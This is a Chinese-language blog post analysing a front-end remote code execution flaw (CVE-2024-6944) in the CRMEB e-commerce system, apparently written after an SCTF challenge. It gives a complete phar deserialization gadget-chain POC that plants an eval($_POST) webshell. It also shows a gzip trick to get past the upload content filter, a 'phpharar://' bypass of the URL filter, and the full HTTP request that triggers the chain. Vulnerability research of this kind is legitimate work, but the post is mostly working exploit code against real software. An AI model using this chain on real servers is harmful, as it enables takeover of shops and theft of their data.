由phar反序列化触发的CRMEB前台rce分析
前言
在刚刚结束的sctf中,有一个题是打的CVE-2024-6944,借这个机会来分析一波,不得不说这个思路还是很厉害的,和showdoc那个很像,都是phar反序列化去触发的漏洞
介绍
CRMEB属于西安众邦网络科技有限公司旗下品牌(https://www.crmeb.com) ,自2014年公司成立以来,众邦科技将客户关系管理与电子商务应用场景进行深度集成,围绕新零售、智慧商业、企业数字化经营等课题进行探索创新,打造出中国私有化独立应用电商软件知名品牌——CRMEB。
CRMEB v5 基于ThinkPhp6.0+MySQL+elementUI+uniapp 开发的新零售社交电商系统。能够真正帮助企业基于微信公众号H5、小程序、wap、pc、APP等,实现会员管理、数据分析,精准营销的电子商务管理系统。可满足企业新零售、批发、分销、预约、O2O、多店等各种业务需求。CRMEB的优势:快速积累客户、会员数据分析、智能转化客户、有效提高销售、会员维护;
可以看到是一个商场的系统,而且
这个系统还是很火的
环境搭建
参考https://gitee.com/ZhongBangKeJi/CRMEB
下载源码后放在phpstduty里面
https://doc.crmeb.com/single/v5/7714
创建数据库,导入数据库文件
数据库文件目录/public/install/crmeb.sql
然后修改一下数据库的配置文件
APP_DEBUG = false
[APP]
DEFAULT_TIMEZONE = Asia/Shanghai
[DATABASE]
TYPE = mysql
HOSTNAME = 127.0.0.1 #数据库连接地址
DATABASE = test #数据库名称
USERNAME = username #数据库登录账号
PASSWORD = password #数据库登录密码
HOSTPORT = 3306 #数据库端口
CHARSET = utf8
DEBUG = true
[LANG]
default_lang = zh-cn
[REDIS]
REDIS_HOSTNAME = 127.0.0.1 #redis链接地址
PORT = 6379 #端口号
REDIS_PASSWORD = 123456 #密码
SELECT = 0 #数据库名
[QUEUE]
QUEUE_NAME = 123456789 #队列前缀
修改apache的配置文件
<IfModule mod_rewrite.c>
Options +FollowSymlinks -Multiviews
RewriteEngine on
RewriteCond %{REQUEST_FILENAME} !-d
RewriteCond %{REQUEST_FILENAME} !-f
RewriteRule ^(.*)$ index.php?/$1 [QSA,PT,L]
</IfModule>
然后还有一个问题就是到时候不能注册用户
因为要发验证码,我们直接去后台创建一个
漏洞分析
首先我们是phar反序列化,那必须有3个点我们必须满足
第一个点上传phar文件
第二反序列化调用链恶意利用
第三能够触发phar反序列化
上传phar文件
在页面上找一波
注册用户后可以上传头像
对于的函数处理部分是在
/**
* 图片上传
* @param Request $request
* @param SystemAttachmentServices $services
* @return mixed
*/
public function upload_image(Request $request, SystemAttachmentServices $services)
{
$data = $request->postMore([
['filename', 'file'],
]);
if (!$data['filename']) return app('json')->fail(100100);
if (CacheService::has('start_uploads_' . $request->uid()) && CacheService::get('start_uploads_' . $request->uid()) >= 100) return app('json')->fail(100101);
$upload = UploadService::init();
$info = $upload->to('store/comment')->validate()->move($data['filename']);
if ($info === false) {
return app('json')->fail($upload->getError());
}
$res = $upload->getUploadInfo();
$services->attachmentAdd($res['name'], $res['size'], $res['type'], $res['dir'], $res['thumb_path'], 1, (int)sys_config('upload_type', 1), $res['time'], 3);
if (CacheService::has('start_uploads_' . $request->uid()))
$start_uploads = (int)CacheService::get('start_uploads_' . $request->uid());
else
$start_uploads = 0;
$start_uploads++;
CacheService::set('start_uploads_' . $request->uid(), $start_uploads, 86400);
$res['dir'] = path_to_url($res['dir']);
if (strpos($res['dir'], 'http') === false) $res['dir'] = $request->domain() . $res['dir'];
return app('json')->success(100009, ['name' => $res['name'], 'url' => $res['dir']]);
}
还有一个点是在和客服对话的时候也可以上传图片
反序列化链
然后就是反序列化的调用了,这里是基于thinkphp开发的,所以链子还是很好找的,这里看几个特别的
首先给出POC
参考https://blog.xmcve.com/2024/10/01/SCTF-2024-Writeup/#title-19
<?php
namespace PhpOffice\PhpSpreadsheet\Collection{
class Cells{
private $cache;
public function __construct($exp){
$this->cache = $exp;
}
}
}
namespace think\log{
class Channel{
protected $logger;
protected $lazy = true;
public function __construct($exp){
$this->logger = $exp;
$this->lazy = false;
}
}
}
namespace think{
class Request{
protected $url;
public function __construct(){
$this->url = '<?php file_put_contents("/var/www/public/uploads/store/comment/20240929/fpclose.php", \'<?php eval($_POST[1]); ?>\', FILE_APPEND); ?>';
}
}
class App{
protected $instances = [];
public function __construct(){
$this->instances = ['think\Request'=>new Request()];
}
}
}
namespace think\view\driver{
class Php{}
}
namespace think\log\driver{
class Socket{
protected $config = [];
protected $app;
public function __construct(){
$this->config = [
'debug'=>true,
'force_client_ids' => 1,
'allow_client_ids' => '',
'format_head' => [new \think\view\driver\Php,'display'],
];
$this->app = new \think\App();
}
}
}
namespace {
$c = new think\log\driver\Socket();
$b = new think\log\Channel($c);
$a = new PhpOffice\PhpSpreadsheet\Collection\Cells($b);
ini_set("phar.readonly", 0);
$phar = new Phar('1.phar');
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($a);
$phar->addFromString("fpclose.jpg", "666");
$phar->stopBuffering();
}
简单看一下是可以看出来是写木马的
首先是进入
public function __destruct()
{
$this->cache->deleteMultiple($this->getAllCacheKeys());
}
因为cache被赋值为Channel所以调用它的call方法
public function __call($method, $parameters)
{
$this->log($method, ...$parameters);
}
然后调用log方法
public function log($level, $message, array $context = [])
{
$this->record($message, $level, $context);
}
调用record方法
在record中
public function record($msg, string $type = 'info', array $context = [], bool $lazy = true)
{
if ($this->close || (!empty($this->allow) && !in_array($type, $this->allow))) {
return $this;
}
if (is_string($msg) && !empty($context)) {
$replace = [];
foreach ($context as $key => $val) {
$replace['{' . $key . '}'] = $val;
}
$msg = strtr($msg, $replace);
}
if (!empty($msg) || 0 === $msg) {
$this->log[$type][] = $msg;
if ($this->event) {
$this->event->trigger(new LogRecord($type, $msg));
}
}
if (!$this->lazy || !$lazy) {
$this->save();
}
return $this;
}
会调用这个类的save方法
其中logger是被赋值为了Socket类
然后调用到Socket的save方法
重点关注
if (!empty($this->config['format_head'])) {
try {
$currentUri = $this->app->invoke($this->config['format_head'], [$currentUri]);
} catch (NotFoundExceptionInterface $notFoundException) {
// Ignore exception
}
}
然后看一下POC的构造方法
namespace think\log\driver{
class Socket{
protected $config = [];
protected $app;
public function __construct(){
$this->config = [
'debug'=>true,
'force_client_ids' => 1,
'allow_client_ids' => '',
'format_head' => [new \think\view\driver\Php,'display'],
];
$this->app = new \think\App();
}
}
简单来讲就是调用Php的display方法,参数为
$this->url = '<?php file_put_contents("/var/www/public/uploads/store/comment/20240929/fpclose.php", \'<?php eval($_POST[1]); ?>\', FILE_APPEND); ?>';
看到display方法
public function display(string $content, array $data = []): void
{
$this->content = $content;
extract($data, EXTR_OVERWRITE);
eval('?>' . $this->content);
}
就恍然大悟了
简单尝试一下
可以执行命令,完美
触发phar反序列化
触发phar的有很多,需要找到一个地方是url可以控制的,这里是在
/**
* 获取图片base64
* @param Request $request
* @return mixed
*/
public function get_image_base64(Request $request)
{
[$imageUrl, $codeUrl] = $request->postMore([
['image', ''],
['code', ''],
], true);
if ($imageUrl !== '' && !preg_match('/.*(\.png|\.jpg|\.jpeg|\.gif)$/', $imageUrl) && strpos(strtolower($imageUrl), "phar://") !== false) {
return app('json')->success(['code' => false, 'image' => false]);
}
if ($codeUrl !== '' && !(preg_match('/.*(\.png|\.jpg|\.jpeg|\.gif)$/', $codeUrl) || strpos($codeUrl, 'https://mp.weixin.qq.com/cgi-bin/showqrcode') !== false) && strpos(strtolower($codeUrl), "phar://") !== false) {
return app('json')->success(['code' => false, 'image' => false]);
}
try {
$code = CacheService::remember($codeUrl, function () use ($codeUrl) {
$codeTmp = $code = $codeUrl ? image_to_base64($codeUrl) : false;
if (!$codeTmp) {
$putCodeUrl = put_image($codeUrl);
$code = $putCodeUrl ? image_to_base64(app()->request->domain(true) . '/' . $putCodeUrl) : false;
if ($putCodeUrl) {
unlink($_SERVER["DOCUMENT_ROOT"] . '/' . $putCodeUrl);
}
}
return $code;
});
但是当时一直不知道如何调用,翻阅一下官方文档
获取图片base64
基本信息
Path: /api/image_base64
Method: POST
接口描述:
请求参数
Headers
参数名称 | 参数值 | 是否必须 | 示例 | 备注 |
---|---|---|---|---|
Content-Type | application/x-www-form-urlencoded | 是 |
Body
参数名称 | 参数类型 | 是否必须 | 示例 | 备注 |
---|---|---|---|---|
image | text | 是 | 图片路径 | |
code | text | 是 | 二维码路径 |
返回数据
名称 | 类型 | 是否必须 | 默认值 | 备注 | 其他信息 |
---|---|---|---|---|---|
status | number | 非必须 | |||
msg | string | 非必须 | |||
data | object | 非必须 | |||
├─ code | string | 非必须 | |||
├─ image | string | 非必须 |
如何调用和如何传入参数都说明了,就是传入一个图片的地址和一个code的地址
然后跟着代码会进入put_image方法,可以看到对url做了限制,会把phar替换为空,因为它没有循环校验,所以还是比较简单的绕过phpharar这种就ok的
function put_image($url, $filename = '')
{
if ($url == '') {
return false;
}
try {
if ($filename == '') {
$ext = pathinfo($url);
if ($ext['extension'] != "jpg" && $ext['extension'] != "png" && $ext['extension'] != "jpeg") {
return false;
}
$filename = time() . "." . $ext['extension'];
}
//文件保存路径
ob_start();
$url = str_replace('phar://', '', $url);
readfile($url);
$img = ob_get_contents();
ob_end_clean();
$path = 'uploads/qrcode';
$fp2 = fopen($path . '/' . $filename, 'a');
fwrite($fp2, $img);
fclose($fp2);
return $path . '/' . $filename;
} catch (\Exception $e) {
return false;
}
}
漏洞复现
首先就是在刚刚说到的点上传图片,不过是有内容检测的,这个ctf也考过很多了
public function checkFileContent($fileHandle)
{
$stream = fopen($fileHandle->getPathname(), 'r');
$content = (fread($stream, filesize($fileHandle->getPathname())));
if (is_resource($stream)) {
fclose($stream);
}
if (preg_match('/think|app|php|log|phar|Socket|Channel|Flysystem|Psr6Cache|Cached|Request|debug|Psr6Cachepool|eval/i', $content)) {
return $this->setError('文件内容不合法');
}
}
只需要对生成的phar文件压缩一下
把生成的文件改名字,然后就是执行下面的命令
gzip 1.jpg
会生成
然后就是改后缀名字
开始触发
按照官方文档发送这样一个包
POST /api/image_base64 HTTP/1.1
Host: crmeb:9345
Content-Length: 79
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarydAcYcbc6h4dFXG4g
Authori-zation: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJwd2QiOiJkNDFkOGNkOThmMDBiMjA0ZTk4MDA5OThlY2Y4NDI3ZSIsImlzcyI6ImNybWViOjkzNDUiLCJhdWQiOiJjcm1lYjo5MzQ1IiwiaWF0IjoxNzI3NzU4MTk5LCJuYmYiOjE3Mjc3NTgxOTksImV4cCI6MTczMDM1MDE5OSwianRpIjp7ImlkIjozLCJ0eXBlIjoiYXBpIn19.zXoVHVZXoiyAf9TZQcVVpot4eBLKASvmxAtAjub5lLY
Accept: */*
Origin: http://crmeb:9345
Referer: http://crmeb:9345/pages/users/user_info/index
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: cb_lang=zh-cn; PHPSESSID=2fc26003866957e8c351c07bf92c0b83; uuid=1; token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJwd2QiOiJiZmZkMWU0NzQyOGU2NWM1NjVjNDIzZjM0MmFjZDA3YSIsImlzcyI6ImNybWViOjkzNDUiLCJhdWQiOiJjcm1lYjo5MzQ1IiwiaWF0IjoxNzI3NTE5MTIyLCJuYmYiOjE3Mjc1MTkxMjIsImV4cCI6MTczMDExMTEyMiwianRpIjp7ImlkIjoxLCJ0eXBlIjoiYWRtaW4ifX0.BEmQmq6fTTrdfJTS6Z-qE_eUVoMIAvSI6lP0wQhg1LQ; expires_time=1730111122; XDEBUG_SESSION=PHPSTORM; WS_ADMIN_URL=ws://crmeb:9345/notice; WS_CHAT_URL=ws://crmeb:9345/msg
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
{
"image": "你上传图片的位置",
"code": "phpharar://图片位置"
}
运行后就可以访问自己的木马文件了
这里我写的是phpinfo
参考https://blog.xmcve.com/2024/10/01/SCTF-2024-Writeup/#title-19
没有评论